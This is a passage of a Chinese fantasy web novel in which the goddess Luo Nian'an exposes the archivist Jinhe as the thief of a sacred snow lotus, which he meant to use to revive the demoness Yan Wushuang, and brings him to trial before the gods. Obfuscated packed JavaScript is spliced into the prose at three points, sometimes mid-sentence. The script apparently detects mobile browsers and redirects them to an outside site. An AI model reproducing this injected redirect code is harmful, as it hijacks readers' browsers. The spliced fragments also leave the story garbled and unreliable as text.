锦和微微一笑，道：“这是寻真阁应该做的。目前能整理出的就是这些，可能会有些遗漏，希望能帮到殿下。” “自然自然。”洛念安的视线从那堆卷轴上移开，落在锦和身上，突然反应过来，侧过身子道，“真君请进屋内喝杯茶？” 锦和垂下眸，温声道：“多谢殿下，不过不用了。”他又抬眸环视一周，看向洛念安道，“殿下的神殿应该早已修缮完成，何不回神界住下？” 洛念安搔了搔面颊，微笑道：“在哪里住都是一样的，只是我在这里习惯了。” 锦和点头，又道：“殿下这处，有鬼气。” 洛念安又搔了搔面颊，道：“这事儿你们之前不是查到了嘛，叶蓉和我住在一起。” 锦和看向她：“殿下那时不是说不知叶蓉下落？” 洛念安道：“无量狱的结界不是已经加强过了？” 锦和怔了怔，垂眸一笑，道：“既如此，殿下先忙，就不打扰了。” “那好，”洛念安确实需要好好看看这些卷轴，便道，“真君慢走。” 送走锦和，洛念安回身走进院子，在躺椅上坐下，随手拿起一卷卷轴摊开，从前至后仔细看了起来。看了没几行，身旁的空气忽然撕开一道裂缝，一只亮着大眼睛的黑豹从里面走了出来，壮硕的身躯两侧架着两个大箩筐，里面塞满了东西。 洛念安侧目看去，随即放下卷轴站起身，露出笑容：“阿离，你怎么来了？嗯？又带了这么多东西过来？”她走上前去将阿离背着的箩筐卸下来，伸手摸着它的脑袋，笑道，“真是辛苦你了。” 阿离在她的手心里蹭了又蹭，身后的尾巴翘了老高。 洛念安翻了一下筐里的东西，叹道：“小桉怎么又送了这么多东西来？”真叫人怪不好意思的。 “他在忙吗？”洛念安看向阿离。 阿离垂下尾巴，在地上点了几下。 洛念安笑了笑，伸手在它头上摸了摸，问道，“你要现在回去吗？” 阿离却是趴在地上，尾巴翘起，左右晃了晃。 洛念安笑道：“那好，那你就在我这晒会儿太阳，不过要是有人来你要藏起来哦。” 阿离的尾巴又在地上点了点。 洛念安便起身，把一筐瓜果蔬菜抬进屋内，另一筐里面装着笔墨纸砚等日用之物，最上面放着一束月季花。洛念安将花拿起，忍不住扬起唇角，却见花下放着一册书。她转身将花插进供桌上的花瓶中，再回过头来拿起那册书，随意翻动，瞥见书内夹着一张字条： 此书甚为有趣，欲与姐姐共赏。 洛念安轻轻一笑，将字条重新放回书内，又忍不住抚了抚书的封页，然后将它置于床头上。 她转身出了屋子。阿离硕大一只躺在院中懒洋洋晒着太阳，舒服地闭上了眼，似是打起了盹。洛念安轻步走到躺椅边，坐下，又重新拿起卷轴看了起来。 一卷看完，又拾起另外一卷。 这些卷轴记录了各位上神近两日的去向，武职上神都记了一些什么时辰在哪里打了什么鬼怪，文职上神记得很少，看起来几乎不出神界。 看着看着，洛念安眉毛一挑，不确定地又仔细看了一遍，喃喃自语道：“柳将军昨日去了花满楼？这名字听着像是……烟柳之地？” 关键这里只记了他去了这个地方，没写明到底做了什么，洛念安不禁感到纳闷。 应该不会吧？ 她眨了眨眼睛，又继续看了下去。 洛念安放下手中的卷轴，在里面翻找着记录去过极北之地的卷轴，好不容易找到后，她展开细细看了一遍，看到最后时，眉头一蹙，他们三个名字的后面竟然是一片空白。 这是何意？记漏了？还是说他们去看过之后神界无人再去过？ 她又不得不翻阅旁的卷轴，找寻那日午时后出过神界且目的不明的人。找了一圈，发现只有出任务的武职上神。其实这些也不全，毕竟神界还有那么多上仙的行踪是不被记录在册的。 但这些被记录在册的上神里，没有洛念安，同样也没有锦和。 洛念安顿觉头痛，靠在椅子上仰天长叹。 旁边的阿离一觉睡醒，抬起脑袋甩了甩。洛念安侧目看去，正见着蹲在窝里嚼菜叶的小白叼了一片菜叶子蹦蹦跳跳来到阿离面前，然后将菜叶子放下，似是想给它吃。阿离刚开始来几次，把小白吓得不轻，阿离总想找它玩，它却躲在屋内不敢出来，慢慢竟也不怕了，每次阿离来都会分给它自己的菜叶子。 洛念安一直觉得阿离脾气是不错的，就是不知为何总是与苍打架。 眼前一大一小只友好互动的画面让洛念安忍不住翘起唇角，耳边忽然传来一道声音：“殿下，帝君有召，请前往紫微大殿议事。” “......”她笑不出来了。 应了话，洛念安站起身，虽不忍心，但还是对阿离道：“阿离，我现在有事情要出去一趟，你下次再来玩好吗？” 话音一落，阿离似乎与小白道了个别，站起身子，靠在洛念安腿边蹭着，让她顺了顺自己的毛，才走进虚空之境中离开了。 小白应该很喜欢阿离来玩，见它离开，伤心得菜叶子都顾不上嚼了。 洛念安伸手抱起它，轻轻挠了挠它的小脑袋，柔声道：“下次带你去找阿离玩好不好？” 它应该听懂了，嘴巴又开始一动一动地嚼菜叶。 洛念安轻轻笑了笑，把它送回小窝里，便上了神界。 紫微大殿只有洛君逸一人坐在高位之上。 洛念安如今见到他总是莫名心虚，她俯身行礼：“参见帝君。” “珈洛，”洛君逸的声音借着法术传来，“圣物被盗一事进展如何？” 洛念安就猜到是为了这件事把她喊上来的。她诚实道：“尚无进展。” 洛君逸低垂着眸，身居高位，让他总似这般俯视众生。洛念安的印象里他一直都是这样，高高在上，不可亲近。就连当初做他的女儿时，他与念清漓夫妻间的亲近互动她都没见过几次。洛霁禾大概见得多。 殿内的沉默压着人几乎喘不上气来，她抬眸，正正对上洛君逸的视线。他沉着声道：“圣物有无穷潜力，无论落入何人手中，都可能造成无法挽回的后果。”他停顿片刻，继续道，“给你三日，找到盗窃之人。” 洛念安愣了愣，问道：“算上今日吗？” 洛君逸抬臂支着下颚道：“自然。” “......”洛念安抿了抿唇，颔首道，“是，珈洛告退。”言罢，她转身欲离开紫微大殿。 “珈洛。” 洛念安闻言脚步一顿。 洛君逸的声音从身后传来：“我认可你的能力。” 她回过身子，俯身行礼：“多谢帝君。” 洛君逸摆了摆手：“去吧。” 离开紫微大殿，洛念安转向寻真阁的方向，半路竟碰到脚步匆匆的柳渊。她笑容满目地招手：“柳将军！” 柳渊闻声看过来，顿时笑逐颜开：“念将军？”他三步并作两步靠过来，“你怎么在这？” 洛念安反问道：“我出现在神界很奇怪吗？” 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人行至寻真阁，便分道扬镳找不同的人办不同的事去了。 洛念安来到锦和的办公殿，看向埋头在卷宗里的人，出声道：“真君，多有打扰。” 锦和闻声从卷宗里抬起头，微笑道：“殿下，可是有何发现？” 洛念安迈进去，步至书案边，自顾在锦和对面坐下，看着他道：“尚无发现，倒是有几个疑问。” 锦和将手中的笔架在笔架之上，温声道：“殿下请讲。” 洛念安缓声道：“为何极北之地进出的记录到我们之后戛然而止？” 锦和笑了一下，道：“我已告知过殿下，此番记录整理的不及时，多有遗漏，这是原因其一。其二，就是在殿下与另两位将军去过之后，神界再无人到过极北之地。” 若是单纯的遗漏，会漏掉之后将近一天半的时间？ 洛念安微微扬眉，微笑道：“这是何意？真君是以为圣物失窃与我等有关？” 锦和摇了摇头道：“自然不是，帝君肯定是信得过殿下，才将此事交由殿下处理。” 洛念安依旧扬着笑：“那就是说，神界无人去，去的是鬼界之人？” 锦和笑了笑：“不无可能。殿下，相比于我们神界，我更倾向于此事是鬼界所为。” “好，”洛念安道，“就算是鬼界所为，或者，说白了，是太阴鬼王所为，那么神界该如何？” 锦和垂眸，视线落在面前的卷轴上，淡声道：“帝君自会出手。” 洛念安抿唇不语，而锦和似乎真的在认真看着卷轴。沉默半晌，她又问道：“还有一事，为何那些卷轴中，没有真君这两日离开神界的记录？” 锦和抬眸，眼神中似有些许诧异。他怔了怔，才笑道：“我这几日一直在寻真阁处理公务，大家有目共睹，这手边堆积成山的卷宗殿下也能看得见。没有出过神界，自然就没有记录。” 洛念安望着他，须臾，点头道：“好的，我知道了。”说着她站起身，道，“既无别的事，我就先告辞了。” 锦和起身相送，待洛念安行至门口时，他道：“殿下，就算太阴仙现下与殿下关系要好，但终究神鬼殊途。据以往经验来看，他可从不做亏本的买卖。殿下该思量，他无故出现在殿下身边究竟是为了什么。” 57. 心若磐石不可移也 “不做亏本的买卖？” 这番话成功让洛念安停留下来。 锦和垂眸又抬起，轻声道：“众所周知，曾有三位上神因他陨落，那三位当初在出任务过程中无故频繁受挫，不是被人半路截胡，就是找不到妖鬼的位置，久而久之，流失了一些信徒。不得已才找上太阴仙做一场交易。此前，神界与他一直和平共处，先前我也说了，他时常赶在神界之前斩杀妖鬼，驱逐妖兽，保苍生平安。故而，神界便以为神界与他，虽殊途，但同归。” “然后呢？”洛念安问。 锦和继续道：“三位上神找到他，希望他能提供方便，毕竟鬼界在他的管辖之下。殿下可知，他提出了什么条件？” 洛念安：“什么？” “他要三位的法器，”锦和看着她，“法器于武职上神而言意味着什么想必殿下比我更清楚。” 洛念安问道：“他们为何不在神界寻求帮助而是直接找到太阴仙？” 锦和微微一笑，道：“都是天之骄子，自然不愿意承认自己的能力不足。再者，他们本就怀疑是太阴仙从中作梗，自然要去弄个明白。” 洛念安问：“后来呢？” 锦和道：“这场交易里付出的代价远大于收益，他们也曾尝试更换其他条件，但太阴仙并没有给他们机会，故而第一场交易没有谈成。一个月后，他们再次找上了太阴仙，答应献出法器。但那时，太阴仙又提出了第二个条件。” 洛念安：“什么条件？” 锦和：“他要求他们在各自大信徒的梦境中提及自己的名号，诸如承认自己能力不够不得不寻求太阴仙帮忙云云。” 洛念安无奈弯了弯唇角，道：“第二次交易大概也没有达成吧？” 让他们在自己信徒面前承认自己能力不足，大抵比直接杀了他们还难受。 “达成了。”锦和道。 洛念安眉头一挑。 锦和继续道：“他们献出了法器，答应他在梦中告知信徒一事。而后，太阴仙告知了他们正在找寻的妖鬼位置，并且此后诸事也是一帆风顺。” 洛念安觉得事情似乎不太对，便问道：“他们信守承诺在梦中告知信徒此事了？” 锦和摇摇头道：“并未。三位上神表面应下，觉得太阴仙终究不会知晓他们究竟有没有入梦。” 洛念安垂下眸道：“我猜，太阴仙会知道的。” 锦和道：“的确如此，三位上神顺利了一段时间，而后又突然陷入更糟糕的境地。他们尝试与太阴仙再次达成交易无果，只能看着自己的信徒慢慢流失，直到最后，神庙前门可罗雀。” 洛念安问道：“此事当时神界没有插手？” 锦和道：“殿下也知，神界对上神并无拘束，此事也是到他们实在无法之后才告知神界。只是神界又该如何为他们将流失的信徒找回来呢？” 洛念安点头，又道：“是他们言而无信在先，也不能怪太阴仙吧？” 锦和看向她：“殿下以为，一开始，他们诸事不顺是由谁而起的呢？后来太阴仙也不是没有干扰过出任务的上神，只是没有像对那三位那样逼至绝路罢了。” “总要有个缘由吧？”洛念安问道。 锦和道：“似乎没有缘由，唯一合理的解释是他讨厌神界。他出世之后，神界曾停下所有其他事物去调查他，却连他生前姓甚名谁，因何而死都毫无结果。这么多年神界都无人见过他的真容，甚至不知其姓名，还是最近从殿下口中得知。他能将自己隐藏的如此之好，可见其心思之深。” 洛念安道：“不想让别人知道也无可厚非吧。” 锦和却道：“殿下，‘易桉’真的是他的名字吗？还有，自殿下飞升，他就一直出现在殿下身侧，方常远和萧宁之事都有他的参与，这难道只是巧合？神界如今又损失三位武职上神，若是他真的借天极雪莲提升修为，再一举毁灭苍生，届时，神界的人手恐怕真的不太够用啊。” 洛念安抬眸，望着他道：“他究竟姓甚名谁，我觉得并不重要，他说什么就是什么。还有，后面三位上神之事，与他毫无关系。至于天极雪莲，真相尚未水落石出，不能下定论。” 锦和轻声叹了口气，道：“罢了，殿下，我只能言尽于此。” 洛念安点头道：“告辞。” 锦和说了那样一堆，总结起来就一句话：圣物是太阴鬼王偷的。 这样一盆脏水泼在易桉身上，让洛念安怎么想怎么不舒服。所以她更应该加快速度，找出真正的偷盗之人。 洛念安又赶往她从卷轴上查到的，在圣物失窃的时间段内离开神界的几位上神之处，他们不是出任务不在神界，就是说清楚了在何地做了何事，对圣物失窃不沾边，不知情。 当然他们的话也不能全信，但洛念安又不好在毫无证据的情况下当场提出质疑。 洛念安颇有些失望地走在神界大街上，耳边源源不断响起锦和的话。她忽然眉头一蹙，脑中乍现出一个可怕的想法。 圣物丢失，寻真阁给出的信息残缺不全，又莫名一个劲儿将脏水往易桉身上泼，洛君逸也在催促进展。难不成，神界盯上了太阴鬼王，想像当初铲除颜无双那样借机铲除他？！ 洛念安摇了摇头，企图将这个想法甩出脑外。易桉虽是鬼王，但并未做出格之事，更没有公开挑衅神界。就算是为了那三位上神秋后算账，也不必要延后这么久吧？再说了，这账也算不到他的头上啊。 洛念安心事重重地离开神界，甫一现身在玉兰观，便见到易桉躺在椅中，翘着二郎腿，手臂交叠枕在脑后，阖着眼眸，惬意地晃着椅子。 人间本是阴天，但现下却光洒大地。 “小桉。”洛念安扬起笑容，脚步都轻快许多。 易桉闻言睁眸，随即换了个稍微端正些的坐姿，冲她笑着，道：“姐姐回来了。” 洛念安往前几步，坐在椅子上，问道：“等了很久吗？” 易桉撑着圆桌，一手支着下颚，笑吟吟道：“没有，我刚来一会儿，给姐姐送个东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850378|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 洛念安将茶杯推到他身前，闻言抬眸看向他，摆摆手道：“早上已经送了许多东西来了。” 易桉道：“这个可不一样，我想，姐姐现下一定十分需要。”他说着，将一卷卷轴放在桌上。 洛念安尚未看清他从哪弄来的，手已经摸了上去。她展开卷轴，垂眸细细看去，猛地一怔。半晌，诧异抬眸看向易桉：“这是这两日离开神界的上神名册？” 易桉笑着道：“是神仙名册，上仙也有哦。” 洛念安在震惊中尚未回神，片刻后才道：“你竟然连这些都能查到。” 易桉手指抚上杯沿，漫不经心地转着茶杯，道：“是有些麻烦，这不现在才送来，希望没有耽误姐姐的正事。” 洛念安笑道：“怎么会呢？早上锦和真君才送来昨日我要的东西，只是似乎遗漏了许多。” 易桉轻哼一声，道：“就说他没什么用。” 洛念安继续道：“我真是毫无头绪，方才去神界，天帝命我三日内找出盗窃之人。这份卷轴于我而言简直就是及时雨，谢谢你小桉。” 易桉摆摆手，道：“能帮到姐姐就好。” 闻言，洛念安继续展开卷轴，略扫一眼，发现后面有几个名字被朱笔圈出。她看向易桉，举起卷轴问道：“这些是何意？” 易桉喝了口茶，道：“这几人嫌疑最大。他们有的即将历劫，有的则有望飞升成神，还有的……” 他停顿下来，洛念安好奇问道：“什么？” 易桉道：“哦，单纯人品不行。” “……”洛念安忍不住笑出了声，道：“这你都了解。” 易桉弯了弯唇，道：“平日闲来无事，多打听了些。” 洛念安笑了笑。 易桉继续道：“姐姐要从神界查，就这么多了。若是要查鬼界，也好办，查查我就是。” 洛念安愣了愣：“啊？” 易桉重新支着下颚，眨着眼看着她：“毕竟鬼界能神不知鬼不觉地偷走神界圣物的，估计只有我了。” 洛念安轻轻一笑，道：“既如此，那可太好了，鬼界不必查了，也省得我操心。” 易桉低笑了几声，问道：“姐姐不怀疑我？” 洛念安觉得莫名其妙，扬眉看向他：“怀疑你作甚？” 易桉又道：“姐姐就这般信我？” 洛念安点头认真道：“自然，我既选择与你深交，自会完完全全信你。” “嗯，”易桉面上的笑意更深，“听姐姐这么说，我很高兴。” 洛念安笑了笑，垂眸认真琢磨着卷轴上朱笔圈出的那几个名字。全然没有注意到对面落在她身上的视线。 洛念安默认易桉整理的卷轴没有任何遗漏。她手指着朱笔圈出的第一个名字，蹙眉思索片刻，发现不认识。于是指到第二个名字上，又是一阵思索，发现也不认识。 “……”这就很难办了。 她抿了抿唇，继续一个一个往后指，终于发现有认识的了。 58. 救于刀下辅佐君王 洛念安望着这个名字，蹙了蹙眉，转而又看向易桉，举起卷轴问道：“这位，是因何？” 易桉的视线扫过来，淡声道：“看他不顺眼。” “啊？”洛念安愣了愣。 易桉望向她，微微一笑，道：“姐姐若是信我，可以查查他。” “好。”洛念安点头，视线落在卷轴上，话头一转，又犹豫道，“可是，我若是要查神界的任何人可能都需要经过他手。” 卷轴上，被朱笔圈出的锦和的名字十分醒目。 “好办，”易桉笑了笑道，“我已经派人去查了，最慢今晚会有消息。姐姐且耐心等待。” 闻言，洛念安扫视卷轴的目光一顿，转而看向易桉，须臾，弯起唇角道：“真是多谢你了。” 易桉摆了摆手，站起身道：“时候不早了，我去做饭。今日阿离送来的辣椒酱姐姐看见了吗？” 洛念安跟着起身：“那个吗？我看见了，打开闻了闻，很香。” 易桉道：“从巴蜀郡带回来的。” 洛念安有些激动：“我知道巴蜀郡，我曾待过一段时间。巴蜀郡的百姓喜好吃辣，那里的美食真的很对我的胃口，风景也是一绝。” 易桉笑了笑，道：“就知姐姐会喜欢，下次一起去吃怎么样？” 洛念安右手握拳轻轻砸向左手手心，欢喜道：“好啊！等这件事情了结，我们就去！” “嗯，”易桉道，“好。” 他们围在灶台边，易桉洗菜炒菜，洛念安切菜。 易桉将洗好的菜放上案板，忽然转身出去了。洛念安举着菜刀，有些纳闷地看着他离开的背影，一直追随着到院中，忽见阿离现身。她笑吟吟地走出房门，易桉已经转身往这里来了。 洛念安的视线从阿离身上移开：“阿离来了。” 易桉道：“嗯，来送东西。” 洛念安此事的关注点并没有在送来的东西上，她歪着头，越过易桉看向他身后的阿离，唤道：“阿离。” 阿离竖起尾巴冲着她狂甩。 洛念安笑意更深：“你可以陪小白玩一玩吗？你不在它很想你呢。” 小白已经精心挑选好了自己最喜欢的菜叶子叼在嘴上，欢欢喜喜地朝着阿离蹦去。 阿离也晃着尾巴和它在院子中玩耍起来。 洛念安的视线追随着一大一小两只身影，忽然被一片玄色遮住，她抬眼，对上易桉的视线。 易桉眉头高挑，望着她，似笑非笑道：“看来姐姐更喜欢阿离呢。” 洛念安微微一愣，一时摸不准他话里的意思。她眨了眨眼，道：“阿离很可爱，我只是喜欢小动物。” “我知道。”易桉说着，将手中的东西递到洛念安面前。 洛念安垂眸看去，伸手接过：“这是什么？” 易桉贴心接过她手中的菜刀，道：“方才说的消息。” 洛念安抬眼：“这么快？” 易桉笑了笑：”自然。” 两人走进屋中，洛念安坐在桌边认真看着卷轴，易桉则继续切菜炒菜。 “小桉。” “嗯？” 洛念安看向灶台边忙活地易桉，问道：“这份卷轴你看过吗？” 易桉盖上锅盖，转身倚着灶台，道：“没有，上面写了什么？” 洛念安垂眸看向卷轴，道：“记了一些锦和真君为人时期的事情。” 易桉点头：“嗯。” 洛念安继续道：“上面写着，锦和幼时经历过一场宫变，他的十个哥哥互相残杀争夺皇位。” 易桉点头：“嗯，然后呢？” 洛念安道：“然后，一位女子将他从刀下救出，以一人之力反杀了其他所有皇子，扶年幼的锦和登上皇位。”说着，她顿了顿，抬眼看向易桉，“颜无双？” 易桉道：“大抵是她。” 见易桉转过身去揭开锅盖继续忙活，洛念安起身走到他身侧，继续道：“后来，颜无双一路高升，担任镇国大将军一职，替锦和守家卫国。” 易桉将煮好的菜盛出，转身放在木桌上，道：“还有吗？” 洛念安摇摇头：“就这些。”她蹙眉思索片刻，问道，“可是这些消息能说明什么呢？” 易桉转过身继续炒第二道菜，他看了一眼洛念安，轻轻笑了笑，道：“说明，颜无双对锦和来说十分重要。” 洛念安猛地抬眼，看向易桉：“你的意思是……” 易桉勾了勾唇：“不无可能。” 洛念安又问：“能有多重要？” 易桉道：“谁知道呢，说不定甘愿为她生为她死。” 洛念安不解：“可是，当初颜无双堕魔时，他还在神界好好做他的神仙。” 易桉笑了笑：“谁知道他留在神界到底在做什么。” 洛念安手里抓着卷轴，来回踱步。她脑中的思绪时而清明，时而混乱。好似许多事情都解释的通，但是又有一些事情解释不通。来来回回不知多少趟，她忽然在易桉身边停下，伸手握住他的手腕，制止了他的动作。她神情异常严肃道：“小桉，有件事我觉得需要告诉你。” 易桉微微一顿，侧眸看向她，下一刻便抬手一摆，熄了灶火，转身面对着她：“姐姐你说。” 洛念安抿紧唇，内心像被撞的铜钟左右摇摆不定，扰得她心神不宁，连握住易桉的手都没有收回。 看她犹豫着，易桉便耐心等着。一直到洛念安终于下定决心，抬起眸，握住他的手紧了几分，一直抿紧的唇少了些血色。她开口道：“这件事情我不知该如何处理，我好似没资格管，但……但是也……”她呼出一口气，“其实我……”她又呼出一口气，然后道，“那日我从神界回来时，说自己困了想睡觉，你还记得吗？” 易桉轻声道：“嗯，记得。” “其实那日我看见……看见锦和去了帝后宫中。”洛念安又垂下眸，声音低了几分。 易桉抬起眉：“他去找念清漓？” 洛念安又抿紧了唇，顿了顿，声若蚊蝇道：“我看见……看见他和帝后抱，抱在一起。” 闻言，易桉眉头抬得更高，他沉吟片刻，道：“不应该。” 洛念安莫名慌张，胡乱点头道：“确实不应该。” “我是说……”易 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双生雪莲被盗，只剩一朵。洛念安在接下任务后，为了防止另一朵也被有心之人盗取，便在极北之地设下阵法。如今竟真的起了作用。 洛念安他们几乎是下一刻便出现在了极北之地，速度之快，赶到时那人反应过来触动了阵法正欲逃跑。 龙鸣声划过长空，伴随着一道金光呼啸而去。 洛念安飞身而起，握住龙吟枪柄直直刺向那人。 那人身着一条白色衣袍，侧首回望，面上赫然戴着一张黄金面具。 等等！这面具似乎在哪里见过？ 洛念安攻势一转，枪锋横扫。下一刻，那面具无声开裂，“叮当”一声落在地上。 “果然是你。”洛念安凛目看去，随即唤道：“血光。” 腰间的血光鞭应声而出，如鬼魅般爬上锦和的身子，飞速缠绕几圈，捆得他动弹不得。 锦和看了看她，又看了看她身后的易桉，轻轻笑了笑。尽管自己身处极寒之地，被五花大绑着，那笑容依旧如春风般和煦。他开口道：“珈洛殿下。”又看向易桉，“这位想必就是太阴鬼王了。” 易桉并不理他，只是抱着胳膊，缓步移至洛念安身边。 龙吟被洛念安插在一旁的雪地里，她往前几步，弯腰捡起掉落在地上的面具，拿在手里，抬起另一只手轻轻擦了擦上面的灰尘，又举起来，看向锦和，温声道：“女魔无双。” 锦和的笑容似乎僵在了脸上，不过很快便神色如常。 洛念安确定，手中的面具与那日在无量狱见到的颜无双面上戴着的那个一模一样。她垂下眸，盯着那张面具看了看，问道：“第一株圣物没有遂了真君的意吗？” 锦和盯着她看了一会儿，忽然笑了几声，道：“毕竟找不到圣物的使用方法，失败一次，岂不正常？” “我猜，”洛念安抬眸，看向他，温声道，“真君用圣物，是想修补颜无双的残魂，重塑她的肉身？” 锦和道：“殿下，她的残魂修补不了了，你不知道吗？” 洛念安扬眉：“我该知晓什么？” 锦和微微一笑，道：“她残缺的魂魄，成了你啊，殿下。” 59. 登神界众议定罪责 “找死。”易桉登时变了脸色，手臂一抬，紧紧掐住锦和的脖颈，手背青筋暴起。 洛念安回过神来，正见着锦和面色泛青，她连忙握住易桉的手腕上的银护腕，安抚他道：“小桉，我没事的。你......要不先放开他？”她扭头看向易桉，却被他眼中毫不掩饰的杀意吓得微微一愣。 她从未见过这样的易桉。 易桉闻言，手上的力道又加重几分，直到锦和忍不住咳出声，才猛地松了手。不知从何处掏出一块手帕，低垂着眸，慢条斯理地擦拭着方才掐人的那只手。 锦和得了空，连声猛咳，身子都后退了几步。他抬眼，眼神游走在面前两人之间。 虽不知易桉为何会这样生气，但洛念安想说点什么尝试让他消消气，正欲开口，便听见锦和忽然笑出了声，随即开口道：“太阴仙，我很好奇，珈洛殿下是救过你的命吗？” 听见这句话，洛念安顿时一个头两个大，她看向锦和，连忙出声：“真君啊，你少说两句吧。” 易桉手上的动作一顿，掀起眼皮瞥向他，却并不言语，也没有动作。 见易桉并无反应，而对面的锦和也只是笑了笑，没有再出声，洛念安悄悄松了口气。 锦和却转而看向她，出声道：“殿下似乎完全不在意。” “什么？”洛念安一怔，随即反应过来，笑了笑道：“这样的话我听过很多了。倒是真君，先前说了那么多，想来是为了干扰我。” 锦和看向继续擦手的易桉道：“不曾想殿下与太阴仙情比金坚。” 洛念安温声道：“真君与小桉，我自是相信小桉。还有，这个词似乎不是这样用的。” 易桉看向她：“为何不可以？” 洛念安愣了愣，以为他不知道，于是看向他道：“不太对，这个我回头再告诉你吧。”说着她又看向锦和，往前几步道，“真君，烦请与我回趟神界。” 锦和听着她这般客气的语气，又垂眸看了看身上只紧不松的血光，笑了笑，道：“好啊。” 洛念安一时也捉摸不透他为何尚能如此泰然自若，只能更加谨慎。极北之地有通往神界的传送阵。洛念安转回去，对易桉道：“小桉，我现在要带他去神界。” 易桉点头：“嗯，姐姐放心去。”顿了顿，他又道，“有事记得找我。” 虽然洛念安觉得回趟神界肯定不会有什么事情，但还是应下：“好。” 为了引起不必要的麻烦，洛念安看着易桉离开后才带着锦和回了神界。她提早在三人的读神阵内告知柳渊和赫连昭知会洛君逸召开殿议。于是，待她带着锦和赶到紫微大殿时，在神界的上神已经就位。 洛念安并没有在阵内说明盗取天极雪莲的到底是何人，于是，待他们步入殿中时，原本还算热闹的神殿顿时陷入沉寂。 洛君逸在沉寂中睁开眼，目光落在锦和身上时微微一滞，面色随即沉了几分。 明修率先打破沉默道：“只有珈洛与锦和来了吗？珈洛抓住的盗贼在哪里？” 众人：“......” 不知他是不是年龄大了的缘故，竟一点都看不见锦和身上的束缚。 洛念安温声道：“在这里。”然后顺手收了血光。 明修吹着胡子不说话了。 洛念安觉得奇怪，以往这种场合他的话最多，今日怎么就不批判身侧之人了？ “珈洛，”洛君逸的视线扫过来，声音通过法力传至大殿的每一处角落，“你说。” 所有人的视线都集中到洛念安的身上，她淡定道：“自接下任务，我便在极北之地设下阵法，以防第二株圣物被盗，就在方才，有人触动阵法，我赶到时便碰到锦和真君。” “这便定了罪吗？说不定锦和是去观赏圣物的呢？自圣物开放，每日去的人也不少嘛。”众人的视线又齐刷刷落在出声的明修身上。 这维护之意让洛念安愈发好奇，她忍不住看了看明修，又看了看身侧的锦和。 后者正垂着眸一言不发，忽然侧过目，对上洛念安的视线，莫名笑了一下，出声道：“殿下与太阴仙一起赶到，真是让人意外。” 他的声音同样通过法力传至在场每一个人的耳朵。 洛念安没料到这一出，微微一愣。随即便听见明修的批判声传来：“珈洛怎会与太阴仙一起出现在神界之地，圣物之旁？” “......”洛念安默了默，微笑道：“小......太阴仙他是来帮忙的。” 明修道：“他能帮什么忙？不添乱就不错了。” 柳渊出声道：“他一向爱帮忙，各位武职上神又不是不知道。” 大家互相对望一眼，没有吱声。 赫连昭也出声：“现在应该关心的是圣物被盗一事。” 洛念安赶紧道：“是啊是啊。我的阵法是设在圣物周围的，锦和真君如何观赏，也不必要靠的如此近吧？” 明修：“那，仔细些观赏也无可厚非。” 洛念安看向他：“还戴了一张与女魔颜无双相同的黄金面具。” 明修：“......” 众神：“......” 洛君逸缓缓睁眼。 洛念安拿出那被劈成两半的黄金面具，展示在众人眼前。 洛君逸端正坐姿，沉声道：“你怎知，此面具与颜无双有关？” 洛念安道：“不瞒各位，我曾入无量狱加固结界时，在火阵眼处，也就是颜无双曾经的神殿内发现一面形状怪异的铜镜，不幸落入镜中世界，在那里，我见过女魔无双。我见到她时，她正戴着这样的黄金面具。”说着，她又举起面具向众人展示。 洛君逸缓声道：“镜中世界？” 洛念安如实道：“其实我不知那是一处幻境还是其他，只能如此形容。” 洛君逸又问：“你如何出来的？” 洛念安抿了抿唇，她不想将易桉说出来引人非议，便含糊其词道：“费了些功夫。”随即便转了话题，“巧的是，我了解到，锦和真君曾与女魔无双有些渊源。” 此话一出，在场的上神除了震惊，都猜到锦和用这圣物会做什么。大家的沉默中透着几分诡异。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890087|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 洛君逸也是面色一凝。 洛念安随即道：“大家稍安勿躁，锦和真君他没有成功。” “不若，”锦和忽然出声道，“我也不会去盗那第二株。” 闻言，众神皆是一副如释重负的样子。 洛念安看向明修道：“真君，他承认了。” “你要复活颜无双？”洛君逸的嗓音很低，透着几分威压。 锦和垂下眸，并不言语，算是默认。 洛君逸搭在扶手上的手缓缓收紧，逼视着他，眼中满是失望：“神界不计前嫌，对你如此重用，你竟......”后面的话他没说出口，许是真的被气到了，抬手支着额头，又闭上双眸。 明修抖着胡子，不知是被气得还是怎样，一语不发。 众神从震惊中回神，议论纷纷。 “她要是真的活了，那还了得？” “他竟然在神界潜伏了这么多年，真是人心不古啊。” “看来就在等着圣物开放，一株不行他还想偷两株。” “平日了要什么消息，那是今日拖了明日。如今看来，心思根本不在这上面。” 洛君逸睁开眼，以往这时都是锦和站在他身侧让众人安静，如今说话的人站在了底下。 好在他一睁眼，大家都很有眼色地闭了嘴。 片刻后，洛君逸道：“锦和，剥去神职，关入天牢，永世不得出。”顿了顿，他问，“众神可有意见？” 众人齐刷刷摇头。 只有洛念安默默举起手：“那个，难道没人想知道那株圣物现下何处吗？” 闻言，洛君逸看向锦和，众人摇头的动作一顿，也都看向锦和。 